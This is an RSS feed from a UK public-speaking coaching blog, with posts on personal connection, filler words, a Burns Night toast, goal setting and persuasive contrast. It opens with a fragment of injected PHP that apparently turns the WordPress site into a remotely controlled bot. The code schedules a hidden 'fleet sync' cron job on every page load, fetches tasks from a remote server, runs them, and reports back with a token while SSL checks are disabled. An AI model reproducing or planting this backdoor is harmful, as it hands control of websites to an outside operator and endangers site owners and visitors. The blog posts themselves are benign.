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update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); General Archives - Now you're talking https://www.nowyouretalking.co.uk/category/general/ Public speaking Fri, 04 Dec 2020 22:51:57 +0000 en-GB hourly 1 https://wordpress.org/?v=7.1 Get personal and change hearts & minds https://www.nowyouretalking.co.uk/2020/12/04/get-personal-and-change-hearts-minds/ Fri, 04 Dec 2020 22:51:57 +0000 https://www.nowyouretalking.co.uk/?p=1333 Whenever I go to my local coffee shop and collect pre-ordered bread, I see it on a shelf in a brown paper bag bearing my name.  And not just my name, but my name with some added ‘design’. They get…

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]]> Brown paper bag bearing the name LynWhenever I go to my local coffee shop and collect pre-ordered bread, I see it on a shelf in a brown paper bag bearing my name.  And not just my name, but my name with some added ‘design’. They get personal by using my name and, specifically, my first name. It gives me that lovely warm glow; a connection. And there are so many ways we can get personal and create connections that help us change hearts and minds when we give talks and presentations.

Don’t be afraid to use my name

I’m always very happy for someone to use my first name, but some people prefer a more formal approach. If in doubt, I simply ask how someone would like me to address them.

In hotels, they often program your name into their system, but they use a formal styling. In my case, that’s Miss Roseaman. And it so often goes wrong. Miss becomes Mrs. Roseaman is usually mispronounced. If they asked, I’d welcome them using my first name and Lyn is so much easier to deal with.

In the coffee shop, when I hear “Hi Lyn. How’s it going?” or see ‘Lyn’ on the bread bag, they instantly have my attention. They make me feel valued and part of the set-up. I feel as if I belong.

Get personal with steady eye contact

Think about how you feel when someone is talking to you, but not making eye contact. It might be a lack of confidence on their part, but it makes me wonder if I can trust them and whether they perhaps have something to hide.

Good eye contact sends a message of trust. And online, it goes even further in connecting and engaging with an audience. Online, we’re in a close-up situation and if our eyes are darting around or avoiding our viewers and listeners, we seem shifty, nervous and insincere.

Good eye contact online is hard. It means looking at your camera lens, not at the faces on the screen and that feels really unnatural  as we are drawn to looking directly at the faces of the people on our screens. It can help to stick a little picture of a friend right next to your camera lens and talk to that person, imagining them being there so as you look down the lens you’re imagining the real people beyond.

‘You’ is a magic word

The word ‘you’ is at the same time inclusive and individual. As a plural idea, it reaches your whole audience, however many they are. In the singular, it conveys a personal, one-to-one conversation, with you giving all your focus and attention to each and every one of your listeners.

Moreover, using a speaking style and tone that is right for your audience, creates the sense of a personal conversation. This is one reason why it is so important to research and know who your audience is so that you can speak to them in a way that’s comfortable, clear and relatable for them.

Share a personal story

There is perhaps nothing more compelling and memorable than a well-told personal story. Of course, it needs to be relevant to your talk and your audience.

Given that attention spans are short, opening with a story gives you time to settle, lets your listeners get to know you a little and stimulates interest in what’s to come. As you move further into your talk, another story or anecdote can help refocus attention and keep your audience engaged.

We are hard-wired to relate to stories and they are a powerful way to communicate complex ideas and data in a way that is clear and easy to remember.

When we get personal, we connect and engage with our audiences, paving the way for us to touch their hearts and minds and give speeches, talks and presentations that standout and make a difference.

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]]> Be kind – ditch the script & start a conversation https://www.nowyouretalking.co.uk/2020/11/01/start-a-conversation/ Sun, 01 Nov 2020 17:49:43 +0000 https://www.nowyouretalking.co.uk/?p=1322 How are you feeling about the month ahead? I woke up this morning feeling pretty low and under the weather, though I’m pleased to say I haven’t caught the virus! The grey miserable view outside did little to help chase…

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]]> How are you feeling about the month ahead? I woke up this morning feeling pretty low and under the weather, though I’m pleased to say I haven’t caught the virus! The grey miserable view outside did little to help chase away the blues and start a conversation.

 

Knowing that I probably shouldn’t, I decided to call my phone provider and do something about my phone contract that’s about to expire. I dread these calls. You never know whether you’re going to get someone who knows how to start a conversation and tell stories or whether you’re going to get someone reading a sales script.

 

First up, I got the script reader. After three failed attempts at my name, I said I’d called in error and hung up.

 

Take 2. I got through to a delightful man called Gary in Northern Ireland. He called me Lyn. His tone was that of a mate. Warm, friendly, fun. Here was a man who knew how to start a conversation. 2 people start a conversation

 

He was totally relatable and understood how people might be feeling, “People sometimes feel rude and grumpy, but I know it’s not personal; and so many people are worried about money. I’ve switched all our phones to sim-only for now so we have more money for Christmas.”

 

When discussing products, he brought his own experiences into the conversation and the reasons for his choices. I felt as if I was getting recommendations from a trusted friend; not a trace of ‘sales’. He did all my research for me, looking up the specs of candidate phones. He was quite happy for me to explore sim-only arrangements as opposed to phone upgrades.

 

His kindness and understanding even led to him sharing a story about how he helped an older woman who was afraid to go out and needed some help with her property – nothing to do with comms. “She was scared. I just got her address and called her local council so they could go and help her. It was just a phone call.” Such kindness.

 

I could feel my spirits start to lift. We traded stories, vulnerabilities, feelings and fears of our time. He told me all about the dog he’s just rescued. We had a little rant about politics here and across the pond, all sprinkled with laughter, openness and we got the business done.


We agreed what I should buy for now and he gave me a discount.

 

Then he suggested when I should call back to review my decision. I panicked. What if I got another script reader. I shared my concern. “I know what you mean,” he said and joked, “As an Irishman, I love to talk. Imagine getting paid for it!” He offered to keep my account open and call me back in three months. Phew! I felt relieved and in safe hands.

 

It literally pays to be kind. And what value do you put on the emotional experience of such a conversation? As we brought the call to a close, Gary said “This has been the most enjoyable call I’ve had since I joined the company four years ago.” I replied, “I was feeling pretty miserable when we first started talking and now I feel so much happier. Thank you, Gary, it’s been a real pleasure.”

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]]> What to do when like turns to dislike https://www.nowyouretalking.co.uk/2020/02/04/like/ Tue, 04 Feb 2020 22:48:27 +0000 https://www.nowyouretalking.co.uk/?p=427 Like has crept into (or should I say is revisiting) the English language and sometimes feels as if it’s destroying the richness of the language, its nuances and variety.  When you’re giving a speech or presentation, the words you choose…

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]]> Like has crept into (or should I say is revisiting) the English language and sometimes feels as if it’s destroying the richness of the language, its nuances and variety.  When you’re giving a speech or presentation, the words you choose to use impact your authority and memorability.

From ‘er’ to the ‘L’ word

“627 ers and ums this morning!”

“That’s just over 10 a minute on average.  How is that even possible?”

I remember sitting in lectures in the 1980s, counting the ‘ers’ and ‘ums’ of a professor.  He had so many variations on the fillers that the five-bar counting of er, ah, um, eh, ar, mm, ehm, etc became all-consuming.  That’s all I remember of his lectures.  This may say something about repetition as a means of driving home a message, but I’m sure this was not the takeaway he hoped for!

Fillers are for sandwiches, professor, not for speakers or, indeed, lecturers.  These tiny little words, or should I say sounds, are distracting, annoying and do nothing to further the speaker’s cause.

English is a rich language, continuously evolving and changing.  It is indubitably subject to people’s own creativity and imagination, while technology in general and social media in particular are also having a profound impact.

The word ‘like’, for instance, while not a new word, has relatively recently inveigled its way to prominence in many people’s everyday speech.

With technology, notably Facebook, has come the ‘L’ word and it seems to be rapidly undermining our ability to tap into the richness of the English language.

When ‘like’ first took over, I received some transcripts of focus groups conducted in the USA.  They were utterly intelligible.  Surely there was some mistake.  Sentences were incomplete.  The point the speaker wanted to make was reduced to ‘like’, which seemed to be some synonym for ‘you know?’  And the moderator demonstrated an appalling lack of curiosity by assuming she did, indeed, know what ‘like’ meant.  I asked for the transcripts to be reviewed and they had to re-run the groups to find out what the participants really wanted to say.

Please don’t ‘like’ the English language too much

Like English language

The Second Edition of the 20-volume Oxford English Dictionary (OED) contains full entries for 171,476 words in current use, and 47,156 obsolete words.  To this may be added around 9,500 derivative words included as sub-entries.

It is, arguably, impossible to count the number of words in the English language.  That’s why the OED pitches itself on 615,100 ‘definitions’ rather than total number of words.  If all the different senses are included, the total word count in current English usage would bump up to nearly 750,000.

However, you cut it, that’s a lot of words and apparently we use very few of them.  As with the total number of words, it is difficult to measure vocabulary size accurately as it varies greatly from person to person.

Robert Charles Lee suggests that average adult native English speakers know some 20,000 to 35,000 words.  He goes further.  You’ll only need to know 3,000 words in current use to get through 95% of all reading matter.  That is a mere 1.75% of the 171,476 words in current use.

Like in today’s language

And ‘like’ is a major contributor.  Why, I wonder.  It may have something to do with the extraordinary variety of uses of like, both traditional and modern.  It can be used as a verb, noun, adverb, adjective, preposition, conjunction …

  • Like as a verb – put simply, to enjoy or get pleasure from something.
  • Like as a noun – something that you like, approve of, or enjoy (usually plural), eg my likes and dislikes
  • Like as an adverb – meaning probably, eg like as not.  However, in contemporary usage,
  • Like as an adjective – having the same or similar qualities
  • Like as a preposition – similar to (something or someone), typical of, comparator, etc
  • Like as a conjunction – in the sense of ‘as if’, ‘the way’, ‘the type’.  Some say this usage is a grammatical error

Like in the modern vernacular has many additional uses, especially among younger people.  For example, it can emphasise a word or phrase, eg He was, like, Wow! That’s awesome.

It can indicate a tentative or approximate sense, a lack of confidence or certainty, eg I want to, like, leave home, I think it costs, like, £20.

Quotative like can cover both ‘saying’ and ‘thinking’.  It has effectively become a surrogate verb.  According to linguist Alexandra D’Arcy, it caught on fast, so that the teenagers of the 1990s and beyond use quotative like in about half the situations where they could use ‘like’ or ‘say’ or ‘think’.  She also says that it is an Americanism, but it seems to have crossed international borders at the speed of a computer virus.

Like as a filler – er and um seem to have largely yielded place to the ‘L’ word.  It may also be found at the start of sentences, replacing ‘so’, ‘well’, etc.

Like as a stand in for actual words.  It is not unusual to hear sentences ending in ‘like’, leaving the unspoken words to the imagination of the listener.  Since we are not mind readers, this can be a risky business.

Choose your words for clarity, colour and credibility

As in the case of my professor, excessive use of the ‘L’ word was such a distraction that we couldn’t concentrate on what he was actually saying.

PauseRemarkably, it seems that when required, people can lose the ‘L’ word.  I have a friend who is an excessive user of the ‘L’ word.  One morning, in an interview on BBC Breakfast, he spoke fluently for five minutes without once using the word. How? A simple pause.

Some likes, I like!  But consider, too, what synonyms may be available to enrich and vary your vocabulary.  Please don’t ‘like’ our rich language to death.  Use it selectively and appropriately to communicate, not to distract.

If you want to express yourself clearly and credibly or find yourself in a more formal situation, such as public speaking, lecturing or taking part in a TV interview, try and minimise inappropriate or excessive use of the ‘L’ word. Pause … And continue to your next point.

 

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]]> Burns night – Toast to the Lassies https://www.nowyouretalking.co.uk/2020/01/24/burns-night-toast-to-the-lassies/ Fri, 24 Jan 2020 12:11:00 +0000 https://www.nowyouretalking.co.uk/?p=971 “The sweetest hours that e’er I spend Are spent amang the lasses, O” And who can blame him! We all know that Rabbie Burns loved the lassies, but he also respected and valued us. He knew that the focus on…

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]]> “The sweetest hours that e’er I spend
Are spent amang the lasses, O”

And who can blame him!

We all know that Rabbie Burns loved the lassies, but he also respected and valued us. He knew that the focus on the Rights of Man was wrong and said:

“The Rights of Woman merit some attention.”

Last time we were together to celebrate the great Rabbie Burns, I think we established very clearly the superiority of the lassies …

  • Girls get better exam results at school than you boys
  • We make better managers
  • Better at science
  • Better investors
  • Better drivers!

I can feel Burns rejoicing in the achievements of the lassies. We’ve just been celebrating 100 years of some women getting the vote. Without a vote, women were grouped with children and the insane, women were non-people, the property of their husbands. Imagine!

In 1918:

  • There were no women in the police
  • There were no women MPs
  • And women certainly didn’t get the top job as PM
  • Oxford and Cambridge didn’t allow women to take degrees and up until 1948 Cambridge awarded women a degree in title only. BA TIT! Thanks boys!
  • There were fewer than 500 female doctors in England and Wales
  • That left male doctors free to do what they liked. And they did! For instance, they invented Anorexia Scholastica – only affected women; debilitating thinness resulting from too much mental stimulus. If only that were true, I for one would have read so much more!!! They suggested that maths was a particular problem, diverting energy from the reproductive system. And if you were careless enough to get pregnant, you could be fired
  • Women could even be refused service for trying to spend their own money in a pub.

100 years later, all that’s changing. in 2018:

  • Cressida Dick has the top job in the Metropolitan Police
  • 208 women MPs in Westminster
  • Love them or hate them, we now have our 2nd female PM and Nicola Sturgeon is First Minister in Scotland
  • 57% of graduates are women
  • Nearly half of registered doctors (in England and Wales) are women
  • And Anorexia Scholastica has been completely cured!

We’ve come a long way. But there’s still work to do, not least, closing the wretched gender pay gap.

Meanwhile, the laddies aren’t feeling so good:

  • 1 in 3 men in the UK think masculinity is in crisis and no one knows what to do about it
  • Everything used to be so clear. Be the breadwinner, be the boss, look after your family and be heterosexual. Now, men are expected to be kind, fair and emotionally intelligent. What does that mean?!
  • In the confusion, boys are doing worse than girls at school (56% of boys achieved GCSEs grade C and above, compared with 66% of girls). And boys are a third less likely to go to university
  • Men in their 20s could find themselves earning the same or less than women in their 20s as the gender pay gap closes among the 20-somethings
  • 87% of rough sleepers are men
  • Men are experiencing a mental health epidemic, accounting for 3 in 4 suicides
  • Men are much more likely to be sent to prison
  • In essence, men are now cast as villains and to blame for all that’s wrong in the world, scared of being ‘wrongly’ accused of inappropriate behaviour. And their fear may well be justified given Gillette’s latest ad. A laudable aim to bring a more contemporary vision of masculinity and reinvigorate the 30-year old tagline ‘the best a man can get’. But what we got, was a message that most men are on the wrong track, not good enough, must do better and change!

We don’t really believe that, do we girls?

Has it all gone too far? Should we consider the unthinkable, join forces and work together.

Rabbie urges us to try and empathise a bit:

“O wad some Pow’r the giftie gie us
To see oursels as ithers see us!
It wad frae mony a blunder free us,”

And when we empathise, we can see that we’re wired differently and there’s nothing wrong with that. We can complement each other. For instance:

  • Women remember everything – larger hippocampus – that’s the bit where we store memories. So we remember every single word of every single argument!
  • Women feel, while men take a more fact-based approach. We need both. Real facts are very important, even if it is emotions that swing decisions
  • Men are better at negotiating salaries and pay rises and who’d say no to a bit more money?
  • We problem-solve differently – girls like to talk things through and then act; men prefer to dive right in and fine tune as they go along.

We’re different and we can complement each other. We are stronger together.

Obviously, to make this work, there will have to be some clear red lines:

  • Women have the last word in any argument. Anything a man says after that is the beginning of a new argument
  • You need to understand the vocab:

When a woman says “Yes Dear. Fine.” It’s far from fine.

“Go ahead” means “Don’t you dare!”

“Oh you think so” means “think again.”

Men on the other hand have their very own nuanced speak that we girls also need to respect:

  • “Can we talk about this later?” … means “I never want to talk about it again!”
  • “If you don’t do it the way I’m telling you, you’ll regret it” means “I know best!”
  • And then there’s that stunning sense of direction, we know and love. “I know exactly where I am; the GPS isn’t working properly!” means “We’re lost!”

We need to be much more open and supportive of each other. But don’t forget, boys, the huge hippocampus – we girls remember everything!

Let’s move forward together. Ladies and Gentlemen, the toast:

Lift your cup and drain it well,
For these are truths that I do tell.
Without all sexes, teams are lacking,
Girls and boys must get our backing,
Other genders we must heed
Without them, how can we proceed
To make a world that’s right and fair?
Let’s drink to all and their constant care.

Lyn Roseaman

Toast to the Lassies

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]]> Would customers please note … A rant can be a speech too! https://www.nowyouretalking.co.uk/2020/01/03/would-customers-please-note/ Fri, 03 Jan 2020 10:55:03 +0000 https://www.nowyouretalking.co.uk/?p=712 We are born with just two fears – fear of falling and fear of LOUD NOISES.  These two fears are part of our DNA that we pass from one generation to the next as survival mechanisms.  They have one purpose…

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]]> We are born with just two fears – fear of falling and fear of LOUD NOISES.  These two fears are part of our DNA that we pass from one generation to the next as survival mechanisms.  They have one purpose and one purpose only … the preservation of the human race.

MIND THE GAP! Rant - mind the gap

Fellow travellers, commuters and users of London transport, should we be grateful to Transport for London for being so concerned about protecting us from falling … down the gap?  Or should we be terrified that Transport for London is hell bent on scaring the living daylights out of us, loudly bombarding us with its incessant health-&-safety-driven announcements.

In 2013, rail bosses agreed to rid passenger announcements of what they called ‘tosh’, after finding most customers zone out at the first ‘bing-bong’ of the PA system because they consider the information to be largely irrelevant, redundant and repetitive.

Bizarrely, this hasn’t filtered through to TfL.  And to make sure we don’t zone out its pearls of wisdom, TfL is ramping up the volume!

A member of TfL staff once explained to me that the decibel level for its inanities, sorry important announcements, is set at 20% above the ambient sound levels on the platforms or in the trains.  I’m not sure how they gauge the ambient sound, but 20% above seems to vary from …

[VERY QUIETLY] “This train terminates here.  All change.  Thank you for travelling with London Overground.”

… to

[VERY LOUDLY] “This is a customer announcement.  In the interests of security, please keep your luggage and personal belongings with you at all times!  If you see anything suspicious, please tell a member of staff or a police officer.”

One moment, it’s barely audible; the next, [FINGERS IN EARS] “Turn it down, pleeeeease!”

And as if that’s not enough, they seem to want to grind us into the ground by droning on and on and on!

Please stand behind the yellow line.

Please take extra care with the gap between the train and the platform.  Whatever happened to Mind the Gap?

This is the London Overground Service to Highbury & Islington.  The next station is Canada Water.  Change here for London Underground Jubilee Line.  The next station bit is like a breath of fresh air as the name changes from one stop to the next.

And they don’t stop there!

You must have a valid ticket or Oyster card to use this train.  If you do not, you may have to pay a penalty fare.  Thank you.

Would customers please note that due to a short platform, the rear doors of the last coach will not open.

Would customers please note, you can only alight from the front four coaches as this station has a short platform.

Please ensure that you are travelling in the correct part of the train.  This is coach number 2 of 5.

Every station!  And sometimes in triplicate – just before the station, at the station, on leaving the station!  And if the length of the platform is the only thing that customers should please note, why say the rest!  Would TfL please note, it’s like listening to a robot unravelling!

And now, of course, they’ve added the ‘See it. Say it. Sorted.’ slogan.

No wonder people wear headphones!  Unfortunately, this exacerbates the situation, as TfL ramps up the decibel level even further in an effort to penetrate the passenger sound barrier.

It’s a terrifying experience out there on Transport for London.  I feel utterly bamboozled, battered and bewildered!

But then, sometimes you get lucky and the noise becomes beautiful and humorous sound.  A guard on the Met line recently announced: “I do apologise for the early arrival of this service this morning.  Normal delayed service will be resumed this evening!”

The Jubilee line has a driver who likes to entertain his passengers.  Based on what he sees as people board the train, his dulcet tones have caressed our hearts and ears with things like

Welcome to the Jubilee line this Friday evening.  If you need someone to do your ironing this weekend, have a chat with the lady who has just boarded the third carriage from the front … with an ironing board.  For a sing song, please move to the rear of the train and join the man with his guitar.  I wish I had given the beautiful lady the red roses she is carrying.  Come Monday morning, welcome ladies and gentlemen.  I hope you had a great weekend!

Would TfL please note, drivers can give us so much pleasure

Would TfL please note, we have no fear of silence

Would TfL please note the rather apposite wisdom of Mark Twain:

“If you have nothing to say, say nothing.”

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]]> 3 smart steps to achieve your goals https://www.nowyouretalking.co.uk/2019/12/29/3-smart-steps-to-achieve-your-goals/ Sun, 29 Dec 2019 11:31:54 +0000 https://www.nowyouretalking.co.uk/?p=960 It’s that time of year again!  New Year’s resolutions.  The time to set goals for even greater success. Have you made a new year’s resolution?  Are you all ready to achieve your goals in 2020 or even the next few…

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]]> It’s that time of year again!  New Year’s resolutions.  The time to set goals for even greater success. Have you made a new year’s resolution?  Are you all ready to achieve your goals in 2020 or even the next few months?

Now You're Talking book

This year, I wrote a book on public speaking – ‘Now You’re Talking! Take your speeches, talks and presentations to a wider audience and a bigger stage‘ – and I followed these three smart steps.

It’s a tantalising promise that people who set goals can be even more successful. But, when it comes to new year’s resolutions, most goals  seem to die around Valentine’s Day at the latest. Why? Because they tend not to have the characteristics of ‘proper’ goals that move our lives forward.

Big goals or dreams, such as writing a book, buying a house, travelling the world, getting married, running your own successful business, overcoming your fear of public speaking, etc can seem like fantasies or nice dreams because achieving them is likely to be a long way off. Yet these dreams might be described as our raison d’etre, what we’re supposed to do in life. They are our motivation, the big picture or backdrop against which we can determine what we need to do every day, every week,
every month, etc to realise our dreams.

What we need is smaller goals that will build towards the dream. It’s these smaller goals that help us succeed. Deconstruct your big goals into bite-sized tasks or what Arianna Huffington calls ‘microsteps’.

Own your goals – the Endowment Effect

Experts seem to agree that because of something called the ‘Endowment Effect’, owning big dreams is essential. In psychology and behavioural economics, the Endowment Effect hypothesises that people ascribe more value to things just by owning them. And goals are just as ‘ownable’ as more tangible objects. The science of setting goals basically says that the simple act of creating the goal increases the desire to achieve it.

Feel good with SMART goals

Furthermore, our brain’s reward centre feeds us with serotonin and dopamine when we achieve something. Making our goals a reality, therefore, feeds a sense of wellbeing. However, to tap into that sense of wellbeing, we need to know or prove what we have achieved.

To this end, I encourage you to set goals that are SMART – specific, measurable, achievable, relevant and time bound. In this way, you can clearly see when you have achieved a goal. And by setting smaller, SMART goals you can reap the rewards, the feeling of wellbeing, along the journey towards the bigger more distant dream.

And there is an added bonus to setting smaller goals. If, along the way, the big picture changes, you have the flexibility to adjust your smaller goals to meet the new dream.

Strategise to realise your goals

But is it really this simple? Probably not. Because every year, millions of us set new year’s resolutions that don’t last very long! The challenge is to create effective strategies for converting our good intentions and wishes into reality.

Mel Robbins suggests we need instant action and advocates the 5-second rule. She says that if you have an impulse to act on a goal, you must physically move within 5 seconds or your brain will kill the idea. Whatever your goals are, show the world, and yourself, that you’re serious by taking immediate action, however insignificant that action may seem. She argues that when you physically move, your brain starts to build new habits, rather than unthinkingly following learned behaviours. When you do something you’re not used to doing, you are in the act of building new habits and erasing existing ones.

If, for instance, you have a goal of starting your own business, get stuck into your background research online. To be more assertive at work, put your hand up in the next meeting and share your opinions. If you want to improve your public speaking, join a speaking club like Toastmasters or get a coach. And be sure to tell people about your goals. The more you let people know about your goals, the more you will be invested in achieving them, getting a lovely feeling of wellbeing and projecting the self-image your brain expresses through your goals.

When I wrote my book, I owned it. I told everyone. I had no choice but to succeed or spend a lot of time explaining what had happened. My goals for each part of the process were definitely SMART and, every day, I got stuck in. No procrastinating, just writing and editing. It was a great experience and, as it was for me, the three steps will help you achieve your goals.

Wishing you a goal-achieving 2020!

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]]> A writer’s challenge – three strangers come to call https://www.nowyouretalking.co.uk/2019/12/06/writers-challenge/ Fri, 06 Dec 2019 14:03:43 +0000 https://www.nowyouretalking.co.uk/?p=949 We all love a challenge, don’t we? They help you learn; help you grow; maybe even help you feel amazing when you achieve them? In the same way, writer’s love a challenge. But do you always know what you’re letting…

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]]> We all love a challenge, don’t we? They help you learn; help you grow; maybe even help you feel amazing when you achieve them? In the same way, writer’s love a challenge.

But do you always know what you’re letting yourself in for? They do say Be careful what you wish for! Does it matter? Or is it the challenge itself and what we learn that’s important?

Watch the video

Be careful what you wish for

My writer’s challenge started in May with an opportunity. I met a mentor on a mission. Her name is Lucy and she’s a publisher, author and speaker. She’ on a mission to get more women to write and publish business books; a sector currently dominated by men.

And WIIFM? The opportunity to write a book, guided and supported by someone who knows what she’s talking about and is kind and fun.

I’ve wanted to write a book since I was 12. In that first draft, I aspired to put the world to rights, sorting out religion, education, politics, economics and goodness knows what else. My mum persuaded me to wait a few years until I had a bit more life experience to share. Nearly half a century later, I’m back on the case. This time the subject is public speaking. Marginally less ambitious perhaps. But still potentially life changing; a little more focused and something I know a little bit about!

So far, so good. I get my wish to write a book. But be careful what you wish for! Some very peculiar characters came to call.

The Obsessive – first writer’s challenge

My first writer’s challenge was a long visit from Obsessive Lyn. It reminded me of when I was young and new love came calling, it was typical to become obsessed with your new love interest to the exclusion of all else, even existing friends. Does that still happen? This time it was a manuscript! Invitations came. “Lyn, can you come and stay for a few days? Sorry, I can’t, it’s the book. How about lunch? I couldn’t possibly, the deadlines are far too tight. Toastmasters? No way, I have to keep writing!”

I was in a state of utter panic. The big picture of so much to do and so little time was overwhelming. I started printing off my calendar, broken down into hourly segments, for the week ahead. Then I populated it with hourly and daily goals and soon realised, there is time … just! I can do this. I stuck my calendar in bite-sized chunks to the front door so I could see it every time I moved around my flat.

Stressing like mad, I tried to be a good mentee and follow Lucy’s advice. Just write she kept saying. Get it out of your head and onto the page – no reviewing, no editing, just dumping! I tried, but Perfectionist Lyn wasn’t having any of it.

The Perfectionist – second writer’s challenge

Apparently, perfectionism happens when our brain hasn’t accepted that doing our best is enough. Imagine the havoc, writing away – no reviewing, no editing – with the Perfectionist screaming at me “This is rubbish. It doesn’t make sense. It’s full of typos!” Lucy assured me, there would be plenty of time for editing later. For now, she told me to keep writing and send my Perfectionist away to relax with a gin and tonic and leave me to do my best and be kind to myself instead of trying to be perfect.

The Impostor – third writer’s challenge

Somehow, I managed it and carried on writing. Then another little voice kicked off in my head. My third writer’s challenge, Impostor Lyn, had arrived. “Who do you think you are? You can’t write a book about speaking. What do you have to say to anyone?”

At this time, a friend gave me a lovely tip. Think of what you’ve achieved, she said. I made a big poster and stuck that to my front door too. I wrote on it everything that was going well with the book, with anything. And I began to believe that maybe I do have something to say that can be useful to other people.

Worthwhile challenges are hard. But don’t let your vulnerabilities stop you. I certainly don’t regret what I wished for. Hopefully, I’ll soon have a book, written by a woman. My friends are still talking to me. And I have three new friends – the reformed Obsessive Lyn, Perfectionist Lyn and Impostor Lyn. What a very peculiar summer!

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]]> Speakers’ Twelve Days of Christmas https://www.nowyouretalking.co.uk/2018/12/25/the-twelve-days-of-christmas/ Tue, 25 Dec 2018 09:00:18 +0000 https://www.nowyouretalking.co.uk/?p=787 On the first day of Christmas my speech coach sent to me … A message for my next speech Two stories true Three heartfelt points Four timing tips Five ways to bond Six ‘um’-free minutes Seven vocal stylings Eight ways with…

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]]> On the first day of Christmas my speech coach sent to me …

12 days of Christmas light

A message for my next speech

Two stories true

Three heartfelt points

Four timing tips

Five ways to bond

Six ‘um’-free minutes

Seven vocal stylings

Eight ways with humour

Nine figures of speech

Ten nat’ral gestures

Eleven ‘Be sincere’ notes

Twelve pleas to practise 

 

 

 

 

 

 

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]]> Season’s greetings https://www.nowyouretalking.co.uk/2018/12/12/seasons-greetings/ Wed, 12 Dec 2018 15:50:41 +0000 https://www.nowyouretalking.co.uk/?p=765 Season’s greetings and best wishes for 2019 from Now You’re Talking 

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]]> Season’s greetings and best wishes for 2019 from Now You’re Talking 

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]]> Contrast is key to powerful persuasion https://www.nowyouretalking.co.uk/2018/10/30/contrast-is-key-to-powerful-persuasion/ Tue, 30 Oct 2018 14:52:43 +0000 https://www.nowyouretalking.co.uk/?p=524 Contrast is key if you want to persuade anyone to your point of view or proposed course of action. Blending into the background is not an option. Contrast blocks out the other demands competing for your listeners’ attention and helps…

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]]> Contrast is key if you want to persuade anyone to your point of view or proposed course of action. Blending into the background is not an option. Contrast blocks out the other demands competing for your listeners’ attention and helps you ensure your message stands out.

Here are five opportunities for contrast when giving a persuasive speech or presentation:

Contrast

1. Contrast in the opening of your speech

Your opening needs to stand out and grab your audience’s attention so that they are focused on you and what you have to share with them, not thinking about the day they’ve had, what to cook for dinner or anything else that pops into their mind.  A polite, but innocuous platitude, such as “Hello, thank you for inviting me …” wastes those precious opening seconds when you need to make an impact and connect with your audience (the first step in persuasion).

A pause.  A smile.  Both are hard to pull off when you’re nervous, but dramatic in their impact.  Everyone warms to a genuine smile.  And a pause draws attention from whatever people are thinking about to focus on you and wonder what you will be sharing with them.

To keep their attention, open with a startling statistic, a personal anecdote (we all love a story), or a relevant quote from someone significant to your audience eg an industry expert or a famous person/historic figure.

 2. Contrast in content

In most business communication, the goal is to persuade your audience to adopt your call to action.  This might be to buy your sales pitch, affirm your recommendations, recommend you to others, etc.  Effective persuasion requires contrast in content.

Evidence-based information, eg statistics, track record or citation of a reinforcing quote from a relevant expert drive credibility, authority and recognition of your expertise.  However, these alone are not enough to persuade.  You need to contrast this ‘rational’ and ‘functional’ information with more emotive content that helps to build trust and relationships; connections with your listeners.  Here, storytelling and anecdotes come into their own.  They may reveal something about you as a person, what you are like to work with, your motivations and so on.  They are your chance to demonstrate your passion and enthusiasm for the case in hand.

Juxtaposed, the contrast of functional and emotive content can bring even greater potency to your message.

3. Contrast of language and words

Rich and colourful vocabulary stands out.  It works well in a speech or presentation in a way it might not in an everyday conversation.  We need to avoid words that are so obscure or jargonistic that people cannot understand and that is why it’s important to know your audience.  However, when we use rich language, it stands out as different and erudite, enhancing our credibility and authority as speakers.  For instance, instead of  ‘say’, try mutter, mumble, shout, whisper, etc.  They all communicate much more than just ‘saying’; they relate both the the act of saying and additionally convey the manner of that articulation.

Over and above words, we have rhetorical devices to contrast from everyday speech, for instance:

  • Alliteration, eg colourful contrasts communicate, startling statistic
  • Metaphor, an expression that describes a person or object by referring to something regarded as having similar characteristics, eg the city is a jungle, broken heart, bubbly personality
  • Repetition or ‘anaphora’ to give it its formal title appears in many speeches by public figures. One of my personal favourites is from Malala’s Nobel acceptance speech when she says:

“Let this be the last time that a girl or a boy spends their childhood in a factory.
Let this be the last time that a girl is forced into early child marriage.
Let this be the last time that a child loses life in war.
Let this be the last time that we see a child out of school.”

  • The rule of three pervades formal speeches, fairy stories, film titles, comedy.  Examples proliferate and you probably have your own favourites. One example I like is from Lewis Carroll’s Through the Looking Glass:

“The rule is: jam tomorrow, and jam yesterday, but never jam today”

Rhetorical devices like these give emphasis and colour, creating engaging and contrasting content.

4. Contrast of voice and body

I’m sure you’ve experienced the misery of the monotone. It’s hard to stay focused on a voice that drones on relentlessly, without any kind of variety of pitch, pace, volume, etc.  A voice that goes faster and slower, louder and quieter, harsher and softer, higher and lower is interesting.  That colour and contrast brings meaning and interest to our words and makes a greater impact.  For instance, if you say “the words tripped lightly off the tongue …”, you will render them more memorable if you use a short, staccato, light enunciation, using a faster pace that, combined, suggest the movement of the words themselves.

While you are talking, think about how you can use contrasting body language and gestures to give emphasis to your words.  If your hands and arms are constantly flailing around, you deny yourself the opportunity to use gestures. For example: to indicate height, position your hand to the relevant height, to indicate inclusion, use an all-encompassing sweep across your audience or wide arms coming together in a large, encircling gesture

 

To give your gestures impact, keep your arms relaxed and hanging loosely by your side and then move them when you want to reinforce a point.  Next time you are watching a play, note how the actors use gestures.

5. Contrasting stage positions

